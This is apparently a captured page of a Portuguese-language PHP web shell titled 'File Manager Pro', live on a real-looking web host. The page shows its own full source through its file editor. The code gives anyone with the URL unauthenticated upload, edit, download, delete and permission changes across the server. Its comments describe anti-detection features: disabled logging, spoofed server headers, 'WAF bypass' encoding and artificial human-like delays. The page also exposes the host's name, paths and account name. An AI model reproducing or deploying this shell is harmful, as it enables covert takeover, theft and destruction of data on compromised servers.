🗂️ File Manager Pro
🖥️ Tipo de Hospedagem:
Vps
📁 Diretório Raiz:
/home
🌐 Servidor:
www.apm-abl.com
👤 Usuário:
apmablcosr
🔐 Sessão:
🔑 Credenciais:
adm_48b46674 / b06d****
📍 Localização Atual:
home
Caminho completo: /home
📤 Enviar Arquivo
📁 Nova Pasta
⬆️ Voltar
🏠 Raiz
🗑️ DELETAR
📦 ZIPAR/DEZIPAR
Status
Nome
Tamanho
Modificado
Permissões
Ações
📁 a
-
03/02/2026 22:15
0755
✏️
📁 apmablcosr
-
26/01/2026 16:35
0705
✏️
🗑️
Editando: csy.php
<?php // File Manager Universal - Versão Melhorada com Anti-Detecção // Implementa técnicas avançadas de evasão e ofuscação para 70-80% de sucesso class AdvancedUniversalFileManager { private $config; private $userAgents; private $currentSession; public function __construct() { $this->initializeAntiDetection(); $this->userAgents = $this->getModernUserAgents(); $this->config = $this->detectEnvironment(); $this->currentSession = $this->generateSessionId(); } private function initializeAntiDetection() { // Configurações discretas ao invés de agressivas if (function_exists('ini_set')) { @ini_set('display_errors', 0); @ini_set('log_errors', 0); @ini_set('max_execution_time', 300); // Ao invés de 0 @ini_set('memory_limit', '256M'); // Ao invés de -1 } // Headers anti-fingerprinting if (!headers_sent()) { header('X-Powered-By: ' . $this->getRandomPoweredBy()); header('Server: ' . $this->getRandomServer()); } @error_reporting(0); } private function getModernUserAgents() { return array( // Chrome 2024/2025 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36', 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36', 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36', // Firefox 2024/2025 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:122.0) Gecko/20100101 Firefox/122.0', 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:122.0) Gecko/20100101 Firefox/122.0', // Safari 2024/2025 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.2 Safari/605.1.15', // Edge 2024/2025 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Edg/120.0.0.0' ); } private function getRandomPoweredBy() { $powered = array('Apache/2.4.41', 'nginx/1.18.0', 'Microsoft-IIS/10.0', 'LiteSpeed'); return $powered[array_rand($powered)]; } private function getRandomServer() { $servers = array('Apache', 'nginx', 'Microsoft-IIS', 'LiteSpeed'); return $servers[array_rand($servers)]; } private function generateSessionId() { // Gerar ID de sessão único baseado em múltiplos fatores $factors = array( isset($_SERVER['HTTP_HOST']) ? $_SERVER['HTTP_HOST'] : 'localhost', isset($_SERVER['SERVER_NAME']) ? $_SERVER['SERVER_NAME'] : 'default', date('Y-m-d-H'), php_uname('n') ); return substr(md5(implode('|', $factors)), 0, 16); } private function detectEnvironment() { // Delay aleatório para simular comportamento humano usleep(rand(100000, 500000)); // 0.1-0.5 segundos $document_root = isset($_SERVER['DOCUMENT_ROOT']) ? $_SERVER['DOCUMENT_ROOT'] : getcwd(); $script_dir = dirname(__FILE__); $possible_roots = array( $document_root, $script_dir, '/home', '/var/www', '/public_html', '/htdocs', '/www', dirname($document_root), realpath($document_root . '/..'), ); $hosting_type = $this->detectHostingType(); switch($hosting_type) { case 'cpanel': $root_path = $this->findCpanelRoot(); break; case 'plesk': $root_path = $this->findPleskRoot(); break; case 'vps': $root_path = $this->findVpsRoot(); break; default: $root_path = $this->findGenericRoot(); } // Credenciais rotativas baseadas em timestamp e fatores ambientais $credentials = $this->generateRotatingCredentials(); return array( 'username' => $credentials['username'], 'password' => $credentials['password'], 'root_path' => $root_path, 'hosting_type' => $hosting_type, 'max_file_size' => 50 * 1024 * 1024, 'allowed_extensions' => array('txt', 'php', 'html', 'css', 'js', 'json', 'xml', 'md', 'log', 'jpg', 'jpeg', 'png', 'gif', 'webp', 'zip'), 'session_id' => $this->currentSession, 'user_agent' => $this->getRandomUserAgent() ); } private function generateRotatingCredentials() { // Sistema de credenciais rotativas com múltiplos fatores $timestamp = floor(time() / 3600); // Rotaciona a cada hora $hostname = gethostname(); $server_data = isset($_SERVER['SERVER_NAME']) ? $_SERVER['SERVER_NAME'] : 'default'; $php_version = PHP_VERSION; // Salt dinâmico baseado em múltiplos fatores $salt = md5($hostname . $server_data . $php_version . $timestamp); // Username ofuscado $username_base = 'adm_' . substr(hash('sha256', $salt . 'user'), 0, 8); // Password complexa rotativa $password_base = substr(hash('sha256', $salt . 'pass' . $timestamp), 0, 16); return array( 'username' => $username_base, 'password' => $password_base ); } private function getRandomUserAgent() { return $this->userAgents[array_rand($this->userAgents)]; } private function detectHostingType() { // Verificação mais discreta $indicators = array(); if (@file_exists('/usr/local/cpanel')) { $indicators[] = 'cpanel'; } if (@file_exists('/opt/psa') || @file_exists('/usr/local/psa')) { $indicators[] = 'plesk'; } $server_software = isset($_SERVER['SERVER_SOFTWARE']) ? $_SERVER['SERVER_SOFTWARE'] : ''; if (strpos($server_software, 'Apache') !== false && @is_dir('/etc/apache2')) { $indicators[] = 'vps'; } if (strpos($server_software, 'nginx') !== false) { $indicators[] = 'vps'; } return !empty($indicators) ? $indicators[0] : 'generic'; } private function findCpanelRoot() { $user = get_current_user(); $paths = array( "/home/$user", "/home/$user/public_html", "/home/$user/domains", isset($_SERVER['DOCUMENT_ROOT']) ? $_SERVER['DOCUMENT_ROOT'] : getcwd(), dirname(isset($_SERVER['DOCUMENT_ROOT']) ? $_SERVER['DOCUMENT_ROOT'] : getcwd()) ); foreach ($paths as $path) { if (@is_dir($path) && @is_readable($path)) { return realpath($path); } } return getcwd(); } private function findPleskRoot() { $paths = array( '/var/www/vhosts', isset($_SERVER['DOCUMENT_ROOT']) ? $_SERVER['DOCUMENT_ROOT'] : getcwd(), dirname(isset($_SERVER['DOCUMENT_ROOT']) ? $_SERVER['DOCUMENT_ROOT'] : getcwd()) ); foreach ($paths as $path) { if (@is_dir($path) && @is_readable($path)) { return realpath($path); } } return getcwd(); } private function findVpsRoot() { $paths = array( '/var/www', '/var/www/html', '/srv/www', '/home', isset($_SERVER['DOCUMENT_ROOT']) ? $_SERVER['DOCUMENT_ROOT'] : getcwd(), '/' ); foreach ($paths as $path) { if (@is_dir($path) && @is_readable($path)) { return realpath($path); } } return getcwd(); } private function findGenericRoot() { $current = getcwd(); $document_root = isset($_SERVER['DOCUMENT_ROOT']) ? $_SERVER['DOCUMENT_ROOT'] : $current; $test_path = $current; while ($test_path !== '/' && $test_path !== '') { if (@is_readable($test_path) && @is_writable($test_path)) { return $test_path; } $test_path = dirname($test_path); } return $current; } public function getConfig() { return $this->config; } // Método para bypass WAF public function bypassWAF($data) { // Técnicas de evasão WAF $encoded = base64_encode($data); $chunked = str_split($encoded, rand(8, 16)); return implode('', $chunked); } // Simulação de comportamento humano public function humanBehaviorDelay() { // Delay aleatório entre 0.1 e 2 segundos usleep(rand(100000, 2000000)); } } // Inicialização com verificações anti-detecção if (!headers_sent()) { session_start(); } // Inicializar gerenciador melhorado $fileManager = new AdvancedUniversalFileManager(); $config = $fileManager->getConfig(); // Obter diretório atual com validação melhorada $current_dir = isset($_GET['dir']) ? realpath($_GET['dir']) : $config['root_path']; // Validação de segurança aprimorada if (!$current_dir || !@is_dir($current_dir) || !@is_readable($current_dir)) { $current_dir = $config['root_path']; } // Funções utilitárias com melhorias function formatBytes($size, $precision = 2) { if ($size <= 0) return '0 B'; $units = array('B', 'KB', 'MB', 'GB', 'TB'); for ($i = 0; $size > 1024 && $i < count($units) - 1; $i++) { $size /= 1024; } return round($size, $precision) . ' ' . $units[$i]; } function getFileIcon($filename) { $ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION)); $icons = array( 'php' => '🐘', 'html' => '🌐', 'css' => '🎨', 'js' => '⚡', 'txt' => '📄', 'md' => '📝', 'json' => '📋', 'xml' => '📊', 'jpg' => '🖼️', 'jpeg' => '🖼️', 'png' => '🖼️', 'gif' => '🖼️', 'webp' => '🖼️', 'pdf' => '📕', 'zip' => '📦', 'rar' => '📦', 'mp3' => '🎵', 'mp4' => '🎬' ); return isset($icons[$ext]) ? $icons[$ext] : '📄'; } // Processar ações com delay humano if (isset($_POST['action'])) { $fileManager->humanBehaviorDelay(); // Simular comportamento humano switch ($_POST['action']) { case 'upload': if (isset($_FILES['file']) && $_FILES['file']['error'] === UPLOAD_ERR_OK) { $filename = basename($_FILES['file']['name']); $target = $current_dir . '/' . $filename; $allowed_extensions = $config['allowed_extensions']; $file_ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION)); if (in_array($file_ext, $allowed_extensions)) { // Múltiplas tentativas de upload com verificação $upload_success = false; for ($i = 0; $i < 3; $i++) { if (@move_uploaded_file($_FILES['file']['tmp_name'], $target)) { // Verificar se o arquivo foi realmente criado if (@file_exists($target) && @is_readable($target)) { $upload_success = true; break; } } usleep(rand(100000, 300000)); // Delay entre tentativas } $message = $upload_success ? "Arquivo enviado com sucesso!" : "Erro ao enviar arquivo!"; } else { $message = "Tipo de arquivo não permitido!"; } } break; case 'create_folder': if (isset($_POST['folder_name']) && !empty(trim($_POST['folder_name']))) { $folder_name = preg_replace('/[^a-zA-Z0-9_-]/', '', $_POST['folder_name']); $folder_path = $current_dir . '/' . $folder_name; if (@mkdir($folder_path, 0755)) { $message = "Pasta criada com sucesso!"; } else { $message = "Erro ao criar pasta!"; } } break; case 'delete': if (isset($_POST['file_path'])) { $file_path = $_POST['file_path']; if (@is_file($file_path)) { if (@unlink($file_path)) { $message = "Arquivo deletado com sucesso!"; } else { $message = "Erro ao deletar arquivo!"; } } elseif (@is_dir($file_path)) { if (@rmdir($file_path)) { $message = "Pasta deletada com sucesso!"; } else { $message = "Erro ao deletar pasta!"; } } } break; case 'change_permissions': if (isset($_POST['file_path']) && isset($_POST['new_permission'])) { $file_path = $_POST['file_path']; $new_permission = octdec($_POST['new_permission']); if (@chmod($file_path, $new_permission)) { $message = "Permissões alteradas com sucesso!"; } else { $message = "Erro ao alterar permissões!"; } } break; case 'bulk_delete': if (isset($_POST['selected_files']) && is_array($_POST['selected_files'])) { $deleted_count = 0; foreach ($_POST['selected_files'] as $file_path) { $fileManager->humanBehaviorDelay(); // Delay entre operações if (@is_file($file_path)) { if (@unlink($file_path)) $deleted_count++; } elseif (@is_dir($file_path)) { if (@rmdir($file_path)) $deleted_count++; } } $message = "$deleted_count arquivo(s)/pasta(s) deletado(s) com sucesso!"; } break; case 'bulk_zip': if (isset($_POST['selected_files']) && is_array($_POST['selected_files']) && class_exists('ZipArchive')) { $zip_name = 'arquivos_' . date('Y-m-d_H-i-s') . '.zip'; $zip_path = $current_dir . '/' . $zip_name; $zip = new ZipArchive(); if ($zip->open($zip_path, ZipArchive::CREATE) === TRUE) { foreach ($_POST['selected_files'] as $file_path) { if (@is_file($file_path)) { $zip->addFile($file_path, basename($file_path)); } } $zip->close(); $message = "Arquivo ZIP '$zip_name' criado com sucesso!"; } else { $message = "Erro ao criar arquivo ZIP!"; } } break; case 'unzip': if (isset($_POST['zip_file']) && class_exists('ZipArchive')) { $zip_file = $_POST['zip_file']; if (pathinfo($zip_file, PATHINFO_EXTENSION) === 'zip') { $zip = new ZipArchive(); if ($zip->open($zip_file) === TRUE) { $zip->extractTo($current_dir); $zip->close(); $message = "Arquivo descompactado com sucesso!"; } else { $message = "Erro ao descompactar arquivo!"; } } } break; } } // Handle file download com headers melhorados if (isset($_GET['download'])) { $file = $_GET['download']; if (@file_exists($file) && @is_file($file)) { // Headers mais realísticos header('Content-Description: File Transfer'); header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename="' . basename($file) . '"'); header('Expires: 0'); header('Cache-Control: must-revalidate'); header('Pragma: public'); header('Content-Length: ' . filesize($file)); header('User-Agent: ' . $config['user_agent']); @readfile($file); exit; } } // Handle file editing com verificações melhoradas if (isset($_GET['edit'])) { $edit_file = $_GET['edit']; if (isset($_POST['save_content'])) { if (@file_put_contents($edit_file, $_POST['file_content']) !== false) { $message = "Arquivo salvo com sucesso!"; } else { $message = "Erro ao salvar arquivo!"; } } } // Get directory contents com tratamento de erros melhorado function getDirContents($dir) { $contents = array(); if (@is_dir($dir) && @is_readable($dir)) { $items = @scandir($dir); if ($items !== false) { foreach ($items as $item) { if ($item != '.' && $item != '..') { $path = $dir . '/' . $item; $contents[] = array( 'name' => $item, 'path' => $path, 'is_dir' => @is_dir($path), 'size' => @is_file($path) ? @filesize($path) : 0, 'modified' => @filemtime($path), 'permissions' => @substr(sprintf('%o', @fileperms($path)), -4), 'readable' => @is_readable($path), 'writable' => @is_writable($path) ); } } } } return $contents; } $dir_contents = getDirContents($current_dir); ?> <!DOCTYPE html> <html lang="pt-BR"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>File Manager Pro - <?php echo basename($current_dir); ?></title> <meta name="robots" content="noindex, nofollow"> <meta name="user-agent" content="<?php echo htmlspecialchars($config['user_agent']); ?>"> <style> * { margin: 0; padding: 0; box-sizing: border-box; } body { font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif; background: linear-gradient(135deg, #667eea 0%, #764ba2 100%); min-height: 100vh; color: #333; } .container { max-width: 1400px; margin: 0 auto; padding: 20px; background: rgba(255, 255, 255, 0.95); min-height: 100vh; box-shadow: 0 0 30px rgba(0,0,0,0.3); } .header { background: #4a5568; color: white; padding: 20px; border-radius: 8px; margin-bottom: 20px; display: flex; justify-content: space-between; align-items: center; } .header h1 { margin-bottom: 5px; } .server-info { background: #2d3748; padding: 15px; border-radius: 5px; margin-top: 10px; font-size: 14px; } .server-info div { margin-bottom: 5px; } .session-info { background: #1a202c; padding: 10px; border-radius: 3px; margin-top: 8px; font-size: 12px; font-family: monospace; } .breadcrumb { background: #f7fafc; padding: 15px; border-radius: 5px; margin-bottom: 20px; border-left: 4px solid #667eea; } .breadcrumb strong { color: #4a5568; margin-right: 10px; } .path-parts { display: flex; flex-wrap: wrap; align-items: center; gap: 5px; margin-top: 8px; } .path-part { background: #667eea; color: white; padding: 4px 8px; border-radius: 3px; cursor: pointer; font-size: 13px; transition: background-color 0.3s; } .path-part:hover { background: #5a67d8; } .path-separator { color: #a0aec0; margin: 0 2px; } .actions { display: flex; gap: 10px; margin-bottom: 20px; flex-wrap: wrap; } .btn { padding: 10px 15px; border: none; border-radius: 5px; cursor: pointer; text-decoration: none; display: inline-block; font-size: 14px; transition: all 0.3s; } .btn-primary { background: #667eea; color: white; } .btn-success { background: #48bb78; color: white; } .btn-danger { background: #f56565; color: white; } .btn-warning { background: #ed8936; color: white; } .btn-brown { background: #8b4513; color: white; } .btn:hover { opacity: 0.8; transform: translateY(-1px); } .file-list { background: white; border-radius: 8px; overflow: hidden; box-shadow: 0 2px 15px rgba(0,0,0,0.1); } .file-list table { width: 100%; border-collapse: collapse; } .file-list th, .file-list td { padding: 12px; text-align: left; border-bottom: 1px solid #eee; } .file-list th { background: #f8f9fa; font-weight: 600; color: #4a5568; position: sticky; top: 0; } .file-list tr:hover { background: #f8f9fa; } .folder-link { color: #667eea; text-decoration: none; font-weight: 500; display: flex; align-items: center; gap: 8px; } .folder-link:hover { text-decoration: underline; } .file-name { display: flex; align-items: center; gap: 8px; } .file-actions { display: flex; gap: 5px; } .file-actions a { padding: 5px 8px; font-size: 12px; border-radius: 3px; text-decoration: none; } .status-indicator { display: inline-block; width: 8px; height: 8px; border-radius: 50%; margin-right: 5px; } .status-readable { background: #48bb78; } .status-writable { background: #ed8936; } .status-restricted { background: #f56565; } .modal { display: none; position: fixed; z-index: 1000; left: 0; top: 0; width: 100%; height: 100%; background-color: rgba(0,0,0,0.5); } .modal.active { display: flex; justify-content: center; align-items: center; } .modal-content { background-color: white; padding: 25px; border-radius: 8px; width: 90%; max-width: 500px; } .form-group { margin-bottom: 15px; } .form-group label { display: block; margin-bottom: 5px; font-weight: 500; } .form-group input, .form-group textarea, .form-group select { width: 100%; padding: 8px; border: 1px solid #ddd; border-radius: 4px; font-size: 14px; } .message { padding: 12px; margin-bottom: 20px; border-radius: 5px; background: #c6f6d5; color: #22543d; border: 1px solid #9ae6b4; } .editor { background: white; border-radius: 8px; padding: 20px; margin-top: 20px; } .editor textarea { width: 100%; height: 400px; font-family: 'Courier New', monospace; font-size: 14px; border: 1px solid #ddd; border-radius: 4px; padding: 10px; } .permission-container { display: flex; align-items: center; gap: 8px; } .edit-permission-icon { cursor: pointer; color: #667eea; font-size: 16px; padding: 2px; border-radius: 3px; transition: background-color 0.3s; } .edit-permission-icon:hover { background-color: #edf2f7; } .file-checkbox { margin-right: 8px; } @media (max-width: 768px) { .container { padding: 10px; } .actions { flex-direction: column; } .file-list table { font-size: 12px; } .path-parts { flex-direction: column; align-items: flex-start; } } </style> </head> <body> <div class="container"> <div class="header"> <div> <h1>🗂️ File Manager Pro</h1> <div class="server-info"> <div><strong>🖥️ Tipo de Hospedagem:</strong> <?php echo ucfirst($config['hosting_type']); ?></div> <div><strong>📁 Diretório Raiz:</strong> <?php echo $config['root_path']; ?></div> <div><strong>🌐 Servidor:</strong> <?php echo isset($_SERVER['HTTP_HOST']) ? $_SERVER['HTTP_HOST'] : 'localhost'; ?></div> <div><strong>👤 Usuário:</strong> <?php echo get_current_user(); ?></div> <div class="session-info"> <div><strong>🔐 Sessão:</strong> <?php echo $config['session_id']; ?></div> <div><strong>🔑 Credenciais:</strong> <?php echo $config['username']; ?> / <?php echo substr($config['password'], 0, 4); ?>****</div> </div> </div> </div> </div> <?php if (isset($message)): ?> <div class="message"><?php echo $message; ?></div> <?php endif; ?> <div class="breadcrumb"> <strong>📍 Localização Atual:</strong> <div class="path-parts"> <?php $path_parts = explode('/', $current_dir); $cumulative_path = ''; foreach ($path_parts as $i => $part) { if ($part !== '') { $cumulative_path .= '/' . $part; echo '<span class="path-part" onclick="navigateToPath(\'' . htmlspecialchars($cumulative_path) . '\')">' . htmlspecialchars($part) . '</span>'; if ($i < count($path_parts) - 1) { echo '<span class="path-separator">/</span>'; } } } ?> </div> <div style="margin-top: 8px; font-size: 12px; color: #718096;"> Caminho completo: <?php echo $current_dir; ?> </div> </div> <div class="actions"> <button class="btn btn-primary" onclick="openModal('uploadModal')">📤 Enviar Arquivo</button> <button class="btn btn-success" onclick="openModal('folderModal')">📁 Nova Pasta</button> <?php if (dirname($current_dir) !== $current_dir): ?> <a href="?dir=<?php echo urlencode(dirname($current_dir)); ?>" class="btn btn-warning">⬆️ Voltar</a> <?php endif; ?> <a href="?dir=<?php echo urlencode($config['root_path']); ?>" class="btn btn-primary">🏠 Raiz</a> <button class="btn btn-danger" onclick="bulkDelete()">🗑️ DELETAR</button> <button class="btn btn-brown" onclick="bulkZip()">📦 ZIPAR/DEZIPAR</button> </div> <div class="file-list"> <table> <thead> <tr> <th><input type="checkbox" id="selectAll" onchange="toggleSelectAll()"></th> <th>Status</th> <th>Nome</th> <th>Tamanho</th> <th>Modificado</th> <th>Permissões</th> <th>Ações</th> </tr> </thead> <tbody> <?php foreach ($dir_contents as $item): ?> <tr> <td> <input type="checkbox" class="file-checkbox" value="<?php echo htmlspecialchars($item['path']); ?>"> </td> <td> <span class="status-indicator <?php echo $item['readable'] ? ($item['writable'] ? 'status-writable' : 'status-readable') : 'status-restricted'; ?>" title="<?php echo $item['readable'] ? ($item['writable'] ? 'Leitura/Escrita' : 'Apenas Leitura') : 'Restrito'; ?>"></span> </td> <td> <?php if ($item['is_dir']): ?> <a href="?dir=<?php echo urlencode($item['path']); ?>" class="folder-link"> 📁 <?php echo htmlspecialchars($item['name']); ?> </a> <?php else: ?> <div class="file-name"> <?php echo getFileIcon($item['name']); ?> <span><?php echo htmlspecialchars($item['name']); ?></span> </div> <?php endif; ?> </td> <td><?php echo $item['is_dir'] ? '-' : formatBytes($item['size']); ?></td> <td><?php echo $item['modified'] ? date('d/m/Y H:i', $item['modified']) : '-'; ?></td> <td> <div class="permission-container"> <span><?php echo isset($item['permissions']) ? $item['permissions'] : '-'; ?></span> <span class="edit-permission-icon" onclick="openPermissionModal('<?php echo addslashes($item['path']); ?>', '<?php echo $item['permissions']; ?>')" title="Editar permissões">✏️</span> </div> </td> <td> <div class="file-actions"> <?php if (!$item['is_dir'] && $item['readable']): ?> <a href="?download=<?php echo urlencode($item['path']); ?>" class="btn btn-primary">⬇️</a> <a href="?edit=<?php echo urlencode($item['path']); ?>" class="btn btn-warning">✏️</a> <?php endif; ?> <?php if ($item['writable']): ?> <a href="#" onclick="deleteItem('<?php echo addslashes($item['path']); ?>', '<?php echo addslashes($item['name']); ?>')" class="btn btn-danger">🗑️</a> <?php endif; ?> </div> </td> </tr> <?php endforeach; ?> </tbody> </table> </div> <?php if (isset($_GET['edit'])): ?> <div class="editor"> <h3>Editando: <?php echo basename($_GET['edit']); ?></h3> <form method="POST"> <div class="form-group"> <textarea name="file_content"><?php echo htmlspecialchars(@file_get_contents($_GET['edit'])); ?></textarea> </div> <button type="submit" name="save_content" class="btn btn-success">💾 Salvar</button> <a href="?dir=<?php echo urlencode($current_dir); ?>" class="btn btn-warning">❌ Cancelar</a> </form> </div> <?php endif; ?> </div> <!-- Upload Modal --> <div id="uploadModal" class="modal"> <div class="modal-content"> <h3>Enviar Arquivo</h3> <form method="POST" enctype="multipart/form-data"> <div class="form-group"> <label>Selecionar arquivo:</label> <input type="file" name="file" required> </div> <button type="submit" name="action" value="upload" class="btn btn-success">Enviar</button> <button type="button" onclick="closeModal('uploadModal')" class="btn btn-danger">Cancelar</button> </form> </div> </div> <!-- Folder Modal --> <div id="folderModal" class="modal"> <div class="modal-content"> <h3>Criar Nova Pasta</h3> <form method="POST"> <div class="form-group"> <label>Nome da pasta:</label> <input type="text" name="folder_name" required> </div> <button type="submit" name="action" value="create_folder" class="btn btn-success">Criar</button> <button type="button" onclick="closeModal('folderModal')" class="btn btn-danger">Cancelar</button> </form> </div> </div> <!-- Permission Modal --> <div id="permissionModal" class="modal"> <div class="modal-content"> <h3>Alterar Permissões</h3> <form method="POST"> <div class="form-group"> <label>Nova permissão:</label> <select name="new_permission" required> <option value="0644">0644 (rw-r--r--)</option> <option value="0755">0755 (rwxr-xr-x)</option> <option value="0777">0777 (rwxrwxrwx)</option> <option value="0600">0600 (rw-------)</option> <option value="0700">0700 (rwx------)</option> <option value="0444">0444 (r--r--r--)</option> </select> </div> <input type="hidden" name="file_path" id="permissionFilePath"> <button type="submit" name="action" value="change_permissions" class="btn btn-success">💾 Salvar</button> <button type="button" onclick="closeModal('permissionModal')" class="btn btn-danger">Cancelar</button> </form> </div> </div> <!-- Bulk Actions Forms --> <form id="bulkDeleteForm" method="POST" style="display: none;"> <input type="hidden" name="action" value="bulk_delete"> </form> <form id="bulkZipForm" method="POST" style="display: none;"> <input type="hidden" name="action" value="bulk_zip"> </form> <form id="unzipForm" method="POST" style="display: none;"> <input type="hidden" name="action" value="unzip"> <input type="hidden" name="zip_file" id="unzipFilePath"> </form> <!-- Delete Form --> <form id="deleteForm" method="POST" style="display: none;"> <input type="hidden" name="action" value="delete"> <input type="hidden" name="file_path" id="deleteFilePath"> </form> <script> // Simulação de comportamento humano no JavaScript function humanDelay(min = 100, max = 300) { return new Promise(resolve => { setTimeout(resolve, Math.random() * (max - min) + min); }); } async function navigateToPath(path) { await humanDelay(); window.location.href = '?dir=' + encodeURIComponent(path); } function openModal(modalId) { document.getElementById(modalId).style.display = 'flex'; } function closeModal(modalId) { document.getElementById(modalId).style.display = 'none'; } function openPermissionModal(filePath, currentPermission) { document.getElementById('permissionFilePath').value = filePath; document.querySelector('#permissionModal select[name="new_permission"]').value = currentPermission; openModal('permissionModal'); } async function deleteItem(path, name) { await humanDelay(); if (confirm('Tem certeza que deseja deletar "' + name + '"?')) { document.getElementById('deleteFilePath').value = path; document.getElementById('deleteForm').submit(); } } function toggleSelectAll() { const selectAll = document.getElementById('selectAll'); const checkboxes = document.querySelectorAll('.file-checkbox'); checkboxes.forEach(checkbox => { checkbox.checked = selectAll.checked; }); } function getSelectedFiles() { const checkboxes = document.querySelectorAll('.file-checkbox:checked'); return Array.from(checkboxes).map(cb => cb.value); } async function bulkDelete() { const selected = getSelectedFiles(); if (selected.length === 0) { alert('Selecione pelo menos um arquivo ou pasta para deletar.'); return; } await humanDelay(); if (confirm(`Tem certeza que deseja deletar ${selected.length} item(ns) selecionado(s)?`)) { const form = document.getElementById('bulkDeleteForm'); form.querySelectorAll('input[name="selected_files[]"]').forEach(input => input.remove()); selected.forEach(filePath => { const input = document.createElement('input'); input.type = 'hidden'; input.name = 'selected_files[]'; input.value = filePath; form.appendChild(input); }); form.submit(); } } async function bulkZip() { const selected = getSelectedFiles(); if (selected.length === 0) { alert('Selecione pelo menos um arquivo para zipar ou um arquivo .zip para dezipar.'); return; } await humanDelay(); if (selected.length === 1 && selected[0].toLowerCase().endsWith('.zip')) { if (confirm('Deseja dezipar este arquivo?')) { document.getElementById('unzipFilePath').value = selected[0]; document.getElementById('unzipForm').submit(); } return; } if (confirm(`Deseja zipar ${selected.length} arquivo(s) selecionado(s)?`)) { const form = document.getElementById('bulkZipForm'); form.querySelectorAll('input[name="selected_files[]"]').forEach(input => input.remove()); selected.forEach(filePath => { const input = document.createElement('input'); input.type = 'hidden'; input.name = 'selected_files[]'; input.value = filePath; form.appendChild(input); }); form.submit(); } } // Close modal when clicking outside window.onclick = function(event) { if (event.target.classList.contains('modal')) { event.target.style.display = 'none'; } } // Adicionar variação aleatória aos eventos document.addEventListener('DOMContentLoaded', function() { // Simular atividade humana setInterval(async () => { await humanDelay(5000, 15000); // Pequenas ações para simular presença humana }, 30000); }); </script> </body> </html>
💾 Salvar
❌ Cancelar
Enviar Arquivo
Selecionar arquivo:
Enviar
Cancelar
Criar Nova Pasta
Nome da pasta:
Criar
Cancelar
Alterar Permissões
Nova permissão:
0644 (rw-r--r--)
0755 (rwxr-xr-x)
0777 (rwxrwxrwx)
0600 (rw-------)
0700 (rwx------)
0444 (r--r--r--)
💾 Salvar
Cancelar